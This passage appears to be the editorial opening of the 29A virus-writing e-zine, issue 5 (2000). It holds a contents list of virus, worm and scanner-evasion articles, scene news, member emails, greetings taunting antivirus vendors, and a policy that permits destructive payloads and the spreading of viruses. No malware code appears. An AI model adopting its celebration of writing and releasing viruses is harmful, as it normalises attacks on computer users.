You are on page 1of 1518

Editorial:

Introduction VirusBuster/29A
News VirusBuster/29A
Contributors VirusBuster/29A
Membership VirusBuster/29A
Distribution VirusBuster/29A
Our greetings 29A staff
Policies and goals Darkman/29A
Secret area VirusBuster/29A
About the viewer VirusBuster/29A
VX meeting in Brno 2000 Benny/29A
A Bucket Of Letters Lord Julus/29A
Reference guide to VX sites VirusBuster/29A
Generally about VX scene Benny/29A

Articles:

Considerations Infecting 32bits Libraries For Windows Bumblebee/29A


Bumblebee's guide to Simple Mail Transfer Protocol Bumblebee/29A
Metamorphism Lord Julus/29A
Advanced polymorphic engine construction The Mental Driller/29A
LZEXPAND Tutorial Bumblebee/29A
Why a "good" virus is good idea VirusBuster/29A
Wormz in 21st century Benny/29A
How to make infected system to depend on the virus Prizzy/29A
NetWork Distributed Viruses Bumblebee/29A
Local Network Infection Lord Julus/29A
Multi-process residency Benny/29A
Virii Feedback TangentVirii
Win32 Bait Detection SnakeByte
Linux Shell Script Viren SnakeByte
Perl Viruses SnakeByte
Lord Julus' Metamorphism Demo Lord Julus/29A
Win32 386+ Random-Number-In-Range Generator T-2000/Immortal Riot
MIME/UUENCODE attachment encoders T-2000/Immortal Riot
SMTP client T-2000/Immortal Riot
Encrypted ZIP files to evade e-mail gateway scanners T-2000/Immortal Riot
How to get AVP not detecting viruses in OLE2 files Tcp/29A
Encryptation through relocs Tcp/29A
Win9x Ring0 Quest part I Super/29A
Four elephants on a tortoise! jackie

Utilities:

Behold PE 4.0 Lord Julus/29A


Recursive Random Assembler Code Creator (RRRACC) 1.03 Rajaat
The WalruS Macro Virus Generator v. 1.0 The WalruS
Muazzin SDK Vecna
Kewl Mutation Engine 32 v3.00 Z0MBiE
Virsort 2000 Special Edition for 29A #5 VirusBuster/29A

Windows 95 / 98 / ME:

DarkMillennium Clau
Repus Super/29A
HenZe HenKy
Noise Bumblebee/29A
Espore HenKy
Putita HenKy
Estukista HenKy
Sentinel f0re
SVK Tcp/29A
Windows NT / 2000:

WinNT/Adonai HenKy
Win2K/Stream Benny/29A & Ratter

Win32 viruses:

99 ways to die Bumblebee/29A


Dream Prizzy/29A
Rainsong Bumblebee/29A
Rammstein Lord Julus/29A
Dengue Hemorrhagic Fever GriYo/29A
H0rtiga |Zan
HIV Benny/29A
Tuareg The Mental Driller/29A
RousSarcoma SnakeByte
PGN Z0MBiE
Demiurg Black Jack
LaraCroft ZeMacroKiller98
Idele Doxtor L./Technological
Illusions

Misc viruses and worms:

Linux/LoTeK Wintermute
Linux/Zipworm! Vecna
I-Worm/Energy Benny/29A
I-Worm/Chainsaw T-2000/Immortal Riot
I-Worm/Icecubes f0re
I-Worm/Troodon Clau
I-Worm/XTC Benny/29A
HLP/Ayuda Bumblebee/29A
Macro/Furio The WalruS
Macro/Karma The WalruS
Macro/One jackie
PHP/Pirus MaskBits/VXI
CMD/r0bin-&-m4rian Nemo
DOS/ACG disasm Super/29A
Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Ancient guys in the VX scene could not believe it when they heard 29A group
was releasing his 5th issue in december, just 9 months after 4th issue. We
could say we scored a goal to the goal of release 29A magazine within a year,
as we promised in this same section in last issue.

We also promised we would stop releasing 29A magazine at certain dates,


and you, reader, could think 31th december is one of those certain dates, but
you would be wrong because back in july we decided to release 5th issue in
december, and we, doing a nice work of group, have been successful finishing
the issue at the expected time, also being satisfied with our work.

In this new release we make a new promise: 29A will try to don't release
more huge issues as 4th one, or at least not due to MP3 files. Anyway, it's
29A group who decides what's released, being decission of each reader decide
if the zine deserves the download or not.

From here, we would like to thank very much all the contributors to 29A #5,
those ones who got their work published, and those ones that sent us stuff
to publish but we didn't. It's with the efforts of 29A members but also
contributors how 29A gets releases of quality, that's why we, in 29A, must be
grateful to them. We are also grateful to VaW for his intro for the zine.

Darkman, Lethal Mind, Reptile and Sopinky left 29A due their inactivity in
the group, Bumblebee and Prizzy left for personal problems and Mandragore
joined 29A. Regards and best whises to the ex-members.

Apologizes to our readers because in last issue we published a virus


(Nemesi by AcidWerks), already published in DIE #1 (SaBoTaGiO by Techno
Knight). Thanks to T-2000 for let us notice it.

You must notice: 29A issue 5 has to be extracted using Long FileName (LFN).

29Aers hope readers enjoy with this new production from 29A group, and also
that antivirus companies enjoy detecting and removing viruses released in our
zine, wishing more luck to ex-AVP than last time disinfecting GriYo's CTX or
detecting Bumblebee's 99 ways to die.
News
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Back in april...

HenKy left Matrix group and viruses, returning later to the scene. Anaktos
joined Matrix and the group released their first issue.

New virus group formed named Silicium Revolte. They disappeared in some
months and never released anything. Is this group disbanded? Any information
for the news section of 29A #6 would be appreciated.

Codebreakers group moved their site to codebreakrs.cjb.net, being this one


of their last acitivities. Actually it looks like the group is disbanded.

Shadow Dancer issue 1 was released, being a magazine written in indonesian


language with an introduction in english.

Sophos and WildList Organisation International introduced a system called


"Rapid Exchange of Virus Samples" (REVS), supposed to help on fast spreading
infections exchanging samples between AV companies.

Back in may...

Online computer retailer Shoppingplanet.com sent virus WScript/Kak with


their e-mail newsletter to about 50,000 customers. Later on, they warned
subscribers with: "Please delete our previous newsletter. Potential virus
thread attached to our previous email newsletter."

G9N zine issue 1 released by The Spy.

Annual vx meeting was scheduled for 1st august somewhere in Czech republic
being unknown the exact location.

Variants of ILoveYou virus were still appearing all around the world being
the coder of the original virus unknown.

Lifewire left ShadowVX group. It's unknown if actually ShadowVX could be


considered a virus group.

Altavirus, a search engine for virus sites was created by SnakeMan.

VDAT 2.000.1 was released by Cicatrix.

Back in june...

B0z0 left IKX group. The charismatic guy that used to be the leader of the
group left IKX group and the scene taking StarZer0 the responsability inside
the group.

Back in july...

Pascal Virus Team was formed. The time showed that PVT can not be named as
group.

SMF group released DVL issue 10. Duke, leader of SMF did another good work
with this release.

SMF informed that SST, a russian virus coder, was being investigated due:
"Creating, distribuiton and usage of harmful computer programs", according
russian criminal code. Actually SST is still releasing viruses.

AntiState Tortoise released the very first virus for Autocad 2000.

Kefrens group got disbanded and one of the members released posthumous
issue 1.

Evul, coderz.net owner and virus coder, had a car crash but he was not
very damaged fortunately.

Rhape79 appeared on british TV.

Linezer0 Network 2K group released second issue. Black Jack left the group
and got a reply to the reasons he gave for his quit from his ex-group.

Back in august...

Foxz retired of vx scene. He did it to avoid problems with police because


he is married and he has a son.

Feathered Serpents group announced their very first issue after some years
of activity (bad tongues would say inactivity). After a time DrOwl announced
the release had been cancelled, something that didn't surprise in the scene.

Vx annual meeting had place in Brno (.cz), but it didn't have too much
success. Only GriYo and GigaByte, vxers not from the "zone" were assitant of
the meeting. This situation should create a debate between people thinking
that meetings should be done in different places every year and people that
think meetings should be done in places where the amount of assistans would
be big. More information about the meeting can be found in this zine inside
an article written by Benny.

Metaphase #2 was released.

Red Elephant, norwegian virus group placed his site at redelephant.cjb.net


but after a time several members left the group and the group finally was
formed by 2 vxers. It's unknown if they will release any zine some day. Toro
should have more information regarding the group and the zine.

Lucky 2000 also known under other nicks, a famouse code ripper left the
scene.

Back in september...

Virus Bulletin Conference 2000 was allocated this year in Orlando-Florida.


Typical avers took part in the annual AV meeting plus some vxer too.

Renegade, leader of ASM group released DIE #2. In a first release, zine
had a backdoor being fixed in a posterior release. Due the backdoor incident
Renegade left the scene:

"The limit has been reached

As to the statements and reactions of September 19th, I cannot stand the


shit of some VX persons and even the behaviour of most of the "coders"
nowadays anymore. Thus I retire completely from the virus scene."

Bumblebee created VxNews a site placed in coderz.net dedicated to announce


news related to viruses.
Cicatrix released VDAT 2.000.2, and some days later stopped releasing
publicly VDAT due discrepancies with some vxers and due the key was leeched.

PalmOS got his first virus named Phage.

CIH got arrested. It's unknown if actually he is facing jail or not.

Benny/29A and Ratter released the first virus for Win2K platform named
"Stream".

Back in october...

Jackie Qwerty, ex 29A member, informed that he had been father of a girl.

Another vx meeting had place in Valencia, Spain. Being this a "local" meet
it was more succesful than the international meeting. Well known vxers as
Billy Belcebu, The Mental Driller, Tcp, Super, Bumblebee and some other were
there.

Evul had to close Matrix's site in Coderz due the impact of Matrix virus
all over the world.

Nick Fitzgerald confirmed what some people were already thinking: Tests
performed by VTC (Hamburg) are corrupted.

T-2000 and Kamaileon stopped writing viruses.

Back in november...

ILoveYou virus reached record guiness due to be known as the most spreaded
virus ever.

A new virus channel named #vxers was created due to the discrepancies from
many vxers with the guys (Darkman, Evul, Knowdeth, Roadkil) managing #virus
channel.

DrOwl was interviewed by PC World.

AVP announced they were going to change the name of their product from AVP
to Kaspersky Anti-Virus. It seems like AVP people wanted to break business
relations with Central Command, american distributor of AVP, and to do this
they had to change the name.

Central Command, company that used to distribute AVP in USA, started to


distribute AVX a romanian antivirus of less quality than AVP, in a try to
fool customers selling an antivirus of similar name. They were succesful
because many people started to use AVX thinking they were using the new
version of AVP.

A new group named Mions was created. Formed by Worf and Mimi as virus
collectors and Radix16 as virus coder.

Coderz issue 1 magazine was released.

In this month...

Prizzy/29A left the virus scene.

Matrix #3 scheduled for february.


Shadow Dancer #2 was released.

Maskbits released the first PHP virus, and later he left the scene.
Contributors
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

If you want to contribute to the next issue of 29A magazine, please mail us
at: darknode@oninet.es.

We do keep the right not to include your contribution in the magazine, if


we think it's not relevant for 29A magazine or if it doesn't live up to our
expectations of quality, etc. We'll let you know a few days after you've
contacted us.

We'd like to thank GriYo/29A for the viewer, VaW for the intro and T-2000
for tips and ideas for the zine.

Further more we'd like to thank all the people who have contributed to this
issue of 29A, also for all the help and effort they put into this issue of
29A magazine. The list of contributors and what they've contributed with is
as follows:

Handle Contribution(s)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Black Jack Demiurg
Black_Jack_VX@hotmail.com
www.coderz.net/blackjack

Clau DarkMillennium
clau@ultimatechaos.org Troodon
www.walrus.8k.com/

Doxtor L. Idele
<no e-mail>
<no url>

f0re Sentinel
f0revir@hotmail.com Icecubes
http://f0re.cjb.net

jackie Four elephants on a tortoise!


jackie@coderz.net One
www.coderz.net/jackie/

HenKy Adonai
henky_@LatinMail.com HenZe
members.es.tripod.de/lakasazul/henky.htm Espore
Putita
Estukista

MaskBits Pirus
vxindia@shadowvx.com
www.vxi.cjb.net

Nemo r0bin-&-m4rian
Nemo@deepzone.org
www.deepzone.org

Rajaat RRRACC 1.03


rilo@xs4all.nl
www.shadowvx.com/rajaat

SnakeByte Win32 Bait Detection


SnakeByte@kryptocrew.de Linux Shell Script Viren
www.kryptocrew.de/snakebyte Perl Viruses
Win32.RousSarcoma

TangentVirii Virii feedback


tangentvirii@privacyx.com
<no url>

The WalruS Furio


WalruS@z.com Karma
www.walrus.8k.com WMVG 1.0

T-2000 Chainsaw
T2000_@hotmail.com Win32 386+
Random-Number-In-Range Generator
www.immortalriot.cjb.net MIME/UUENCODE attachment encoders
SMTP client
Encrypted ZIP files to evade
e-mail gateway scanners

Vecna ZipWorm!
vecna@antisocial.com Muazzin SDK
<no url>

Wintermute LoTek
wintermute@mad.servicom.es
personal5.iddeo.es/wintrmute/indice.htm

ZeMacroKiller98 LaraCroft
zebulon@softel.fr
http://www.crosswinds.net/~zemacrokiller98/index.htm

Z0MBiE KME32 3.0


z0mbie@i.am PGN
z0mbie.cjb.net

|Zan H0rtiga
izan@deepzone.org
www.deepzone.org
Membership
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

If you think you have the profile we're searching for, please mail us a
little about yourself, your interests, which viruses you have coded so far,
etc. to: darknode@oninet.es.

If you want to mail 29A as a group, ie. every 29A member, please mail us
at the above e-mail address too.

The list of the current members, their origin and e-mail addresses is as
follows:

Handle Origin E-mail address


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Benny Czech Republic benny_29a@privacyx.com
GriYo Spain griyo@bi0.net
Lord Julus Romania lordjulus@geocities.com
Mandragore France mandragore_fs@hushmail.com
Super Spain super_29a@mixmail.com
Tcp Spain tcp@cryogen.com
The Mental Driller Spain mental_driller@psynet.net
VirusBuster Spain darknode@oninet.es

Most of our members have a homepage of their own, where you can find more
information about them their viruses, current projects, etc. Their URLs are
as follows:

Handle URL
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Benny http://benny29a.cjb.net
GriYo http://www.bi0.net
Lord Julus http://lordjulus.cjb.net
Mandragore http://www.multimania.com/mdrg
VirusBuster http://vtc.cjb.net
Distribution
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Currently we have a distribution and a mirror site. If you want to be a


distribution site for 29A magazine, donate webspace, domain name(s), etc.
please mail us at: darknode@oninet.es.

Distribution homepage site is: http://www.coderz.net/29A

Mirror homepage site is: http://www.shadowvx.com/29a

Thanks to Evul and ruzz for hosting us.


Our greetings
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Beny's greetings]ÄÄÄ
ÚÄÄ Benny's greetingz: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
³ Darkman: hey man, where is the old Darkman? ³
³ Lord Julus: rammstein possitive :-) ³
³ GriYo: say w33333333333333333333333333333333333333333333d :-D ³
³ GigaByte: you should not drink too much. you know that beer, ³
³ hash becherovka and vodka + redbull are not your gewd ³
³ friendz, hehe. btw, how far are you with asm...?:-P ³
³ Reptile: are you alive? ³
³ Ratter: "ja se poseru" > benny.wav :-) ³
³ Billy_Bel: whassup with ya? ³
³ m0rt: the enemy of the state, Win32.MTX, hehe ³
³ Maia: zdrastvuj you typical spanish chica X-D ³
³ jqwerty: hey, how are ya man? ³
³ MrSandman: bring me a beer, sandy :-) ³
³ Lea: heyaaa, come to .cz, I want to show ya my butterfly ³
³ collection, hehe :-hug ³
³ Zulu: I like yer wormz... nice ideaz... ³
³ Spanska: I agree with your ideaz about VX scene. ³
³ SnakeByte: AVerz are really criminalz, gewd article :-) ³
³ Rajaat: I like yer st0ned cat :-) ³
³ StarZer0: still codin' .txt infectorz? :-P ³
³ Wintermute: hey man, gimme know about ya! ³
³ Skag: why don't we simply kick that poor-egocentric-acidless ³
³ not mentioned p3rs0n off our reality? :-)) in my ³
³ reality, you are great man... ³
³ Benny: ty nedopadnes dobre :-/ ³
³ Igi: hey, don't fear, the smoke and english language are ³
³ your friendz :-) ³
³ *-zine: whassup with your project? ³
³ ³
³ and all 29A, iKX and MATRiX memberz... ³
³ ³
ÃÄÄ Benny's special greetz: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ ³
³ AEC: very nice conferenssion about viruses on Invex, thnx for ³
³ publicity of Win2k.Installer (but ya forgot to Stream :) ³
³ btw, Ratter and me was there, hehe. ³
³ AVP guyz: late again... yer work is getting worst and worst. ³
³ F-Secure: have you ever heard about virus? on yer page I can't ³
³ find anything smart about this "problem"... ³
³ McAfee's: why don't you patent an "antivirus" word, I think this ³
³ is the last thing that can help you. ³
³ SARC: in the next life, try to stay at your norton utilities ³
³ pleaz ³
³ Kajinek: Deli se vratila! :-) ³
³ T. Leary: maybe the world won't ever change itself, but anyway you ³
³ will stay as a kewl man forever! ³
³ W: next time if I will want to greet any girl, kickban me ³
³ pleaz :) ³
³ ³
³ And the rest: don't ask what the vx scene can do for you, but ask ³
³ what you can do for the vx scene :) ³
³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Bumblebee's greetings]ÄÄÄ

Bumblebee's greetz in random order:


Benny: Stream!!! (yeah Ratter, you too)
Prizzy: I love your 2mbs sources... get back to them
MrSandman: Cobarde, fistro, pecadoooor de la pradera. Torpedo.
Lord Julus: Beholdpe rocks! That's the tool i've looking for all my life
Darkman: Busy pusy! Dos putas por favor and don't work too much!
Billy Belcebu: Me das mieeedo cuando diiices que conduuuces :)
GVenom: We need a lawer here :) you will work, sure
Griyo: Ese genio! (y figura)
Ypsilon: Hey Ypsi king. how goes?
Evul: Keep coderz working... at least at weekends :)
Nigr0: El freelance. Buscate ya un grupo! cual dices?
Super: I'm looking forward to next Valencian meeting
Next step: ring0 in only 1 asm line ;)
Wintermute: We missed you in Valencia baby
YbY: You know you're so paranoid?
Cicatrix: buaah! I want another VDAT release :)
Urgo32: Keep on coding! Cool ideas!
Jackie: You're trustfull man :) jump into win32!
Perikles: Thanx you for those testing sessions
Kryzia: Donde te metes bombon?
VirusBuster: Siempre nos la cargamos los que abrimos la boca
Toro: Toro, toriiiitoooo...
TCP: You're my hero
Clau: Buddy! are you there?
Pharmie: #virus gradmah!
Mandragore: Welcome home dude
The Wizard: Nice article about Plage2000. Thanx you
Mental Driller: Tuareg rockz!!!
Error: I can believe you have such girlfriend. lo!
AVP ppl: You're lossing your prestige... lame work this year
Hispasec: Tios, dais unas ideas de cojones
Panda soft: Que ajjjcoh! ganasteis mucho con la mierda esa de sinvirus?
WildList Int.: Damn! Call the viruses with their name!

I you think you must be in the previous list and you are not, fuck you!
And for all the guys/girls/things from #virus, nice and not so nice:
greetings ppl!

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[Lord Julus' greetings]ÄÄÄ

Lord Julus's greetings

mr sandman : Cand incepem proiectul nostru?


the unforgiven : well... you have been forgiven, but not forgotten! ;-)
darkman : where's that asian, man?
jacky qwerty : are you alive? How's the baby?
vecna : bad, bad boy!!!
super : you like all things small? ;-))
benny : are you hiv negative now? ;-p~~~~

to all members of 29A, Ikx, Matrix and all the people from #virus a great
greeting and all the best !!!

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[The Mentall Drillers's greetings]ÄÄÄ

My greetz come to:

Virii related
-------------
Benny: Psychedelic drugs are bad... but love marijuana!! :)
Billy Belceb£: A la pr¢xima kedada voy a llevar a un segurata de cybercaf‚ XD
Bumblebee: Hacer una poly gorda es cuesti¢n de ponerse (mucho, pero ponerse :)
Darkman: Come back to the VX!
GriYo: A ver si hacemos una poly conjunta :P =)
Lord Julus: Let's do a meta compo! :P (Joke. Very difficult! :)
Mental Driller: Errhm... :)
Mister Sandman: Menos mal que no me cambiaste por una escoba ;))
nigr0: Eso de Nigrogay, uhmm... habr que matar a Super XDDD
Super: Te ver‚ pronto :P
Tcp: Seeya soon! ;)
Vecna: Keep coding! Your viruses belong to the best!
VirusBuster: Esos peazos logs van a hacer que me retiren la cuenta XD
Wintermute: Ahora vas y te pasas al ping ino? :)
YbY: No te juntes con Billy que es gay y le van los hackers XDD
Zaxon: Oye, andest s que no se te v‚?

Also greetz to:


B0z0, Cicatrix, Codebreakers, Evul, Frontis, HenKy, IKx, Int13h, Jacky Qwerty,
Lethalmind, Mandragore, Prizzy, Rajaat, Reptile, RoadKil, SoPinky, Spanska,
StarZer0, The Wizard, ULTRAS, Ypsilon, Z0mbie
All habituals in #vxers and #virus (Undernet)
All those who know me and I know them and I forgot to put here. Sorry!

Non-virii related (and written as they were recalled on my mind)


----------------------------------------------------------------
The Offspring, Korn, Marilyn Manson, Ch‚ Guevara, Queen, Marlboro, Blizzard,
Westwood Software, Navi, L¡yak, Michael Tischer/Bruno Jennrich,
Francisco Iba¤ez, Goscinny/Uderzo, Louise Cooper, Michael Moorcock,
Isaac Asimov, Akira Toriyama, William Gibson, David Eddings, R.A. Salvatore,
Valencia CF, Linus Thorvald, Napster.com, Nullsoft, Tad Williams,
Margaret Weis/Tracy Hickman, J.R.R. Tolkien, Bad Religion, AC/DC,
all bands at Epitaph/Nitro (w0w, punk rox!), and a large etc.

Anti-greetz
-----------
Fascism, Metallica

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[VirusBuster's greetings]ÄÄÄ

I'ld like to greet the people forming 29A, IKX and Matrix groups and next
people particullary: b0z0, Buddy Music, CyberYoda, Daniel, Del_Armg0, Duke,
Evul, foxz, Int13h, Jack Qwerty, Jackie, Leugim San, mgl, Mist, Mr Sandman,
Newton, Nigr0, Paddingx, PaX, Perikles, Raid, Rajaat, Renegade, Reptile,
SnakeMan, Secret, Somnium, Sopinky, Spanska, SSR, T-2000, Urgo, Vecna, Vein,
VicodinES, Wintermute, Worf, Ypsilon, Z0MBiE and Zulu.
Policies and goals
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

In general we're against destructive payloads and the spreading of viruses,


but we do not forbid our members, or those who contribute to 29A magazine, to
include destructive payloads in their viruses nor do we forbid our members to
spread viruses.

That's why you'll occasionally see a virus from 29A in the wild or carrying
a destructive payload, even though we do our very best to keep the number of
incidents down to a minimum.

Destructive payloads and the spreading of viruses is the reason why people
get in trouble, the reason why people like The Black Baron got arrested,
prosecuted, sentenced and finally jailed.

We code viruses for the fun of it, because it's our hobby, not because we
want to harm other people or to get ourselves into trouble.

We code viruses to invent new techniques, improve on existing techniques


and to learn more about the various OSes. We know there are hundreds of other
ways to do this, probably better ways, yet this is what we like. This is as
we said before, our hobby, or at least one of them.

Our goal is to create new, unique, interesting viruses and virus utilities
and to release 29A magazine on a regular and more frequent basis. Releasing
the magazine frequently has been a problem for us, however, we are getting
better but it is still something for us to work at.

We beta-test everything included in this package as much as we can before


we release it, but there may still be bugs which we didn't find.

We can not and will not be held responsible for whatever you (the reader)
decides to do with the contents of the 29A magazines nor can the group be
held responsible for the actions of any individual members.
Secret area
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Passwords for 29A magazine issue 1 and 2 can be found in the "Secret area"
article in 29A magazine issue 3.

The password for 29A magazine issue 4 is "29A 2000". You must type numbers
using the keys in the right side of the keyboard. (Don't forget to enable Num
Lock)
About the viewer
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

29A magazine issue 5 includes a Win32 viewer which is coded by GriYo/29A,


and it doesn't includes a screensaver because Windows already has.

The viewer is able to play a MP3, located in \CONFIG\MUSIC.MP3. If you


don't like the MP3 we've included, change it at your pleasure.

There are not available parameters or commands for this viewer, being
designed to be used with a mouse.

The viewer is able to manage URLs.

"Boss key": click in the skull in the task bar.


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°º ARTICLE º°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°º º°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
º°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°°°°°°°°°°°°°°°°°°°°°°°°ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»°º
º°º º°°°°°°°°°°°°°°°°°°°°°°°°º º°º
º°º VX Meeting Brno 2000 º°°°°°°°°°°°°°°°°°°°°°°°°º by Benny/29A º°º
º°º º°°°°°°°°°°°°°°°°°°°°°°°°º º°º
º°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°°°°°°°°°°°°°°°°°°°°°°°°ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ°º
º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÄÄÄÄÄÄÄ´ Before the meeting ³ÄÄÄ¿
³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÛ ³
³ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ³
³ ³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³ ³
ÀÄÄÄÄÄÄ>³ There was a big disccusion before the meeting happened. Where ³
